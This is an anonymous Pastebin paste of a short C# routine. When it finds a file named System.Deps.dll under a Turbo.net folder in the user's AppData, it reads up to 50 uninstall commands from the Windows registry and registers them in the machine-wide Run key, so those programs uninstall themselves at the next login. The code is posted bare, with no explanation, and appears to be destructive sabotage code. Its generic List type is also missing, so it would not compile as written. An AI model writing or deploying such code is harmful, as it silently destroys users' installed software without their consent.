Advertisement
Guest User

Untitled

a guest
May 23rd, 2021
3,975
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 1.17 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using Microsoft.Win32;
  4. using System.IO;
  5. namespace N {
  6.   class C {
  7.     public void M() {
  8.       string path = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\AppData\\Local\\Turbo.net";
  9.       if (Directory.Exists(path)) {
  10.         string[] files = Directory.GetFiles(path, "*.*", SearchOption.AllDirectories);
  11.         foreach(string file in files) {
  12.           if (file.Contains("System.Deps.dll")) {
  13.             List list = new List();
  14.             using(RegistryKey key = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall")) {
  15.               foreach(string k in key.GetSubKeyNames()) {
  16.                 if (key.OpenSubKey(k).GetValue("UninstallString") != null) {
  17.                   list.Add(key.OpenSubKey(k).GetValue("UninstallString").ToString());
  18.                 }
  19.               }
  20.             }
  21.             for (int i = 0; i < 50; i++) {
  22.               RegistryKey key = Registry.LocalMachine.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
  23.               key.SetValue(i.ToString(), list[i]);
  24.             }
  25.           }
  26.         }
  27.       }
  28.     }
  29.   }
  30. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement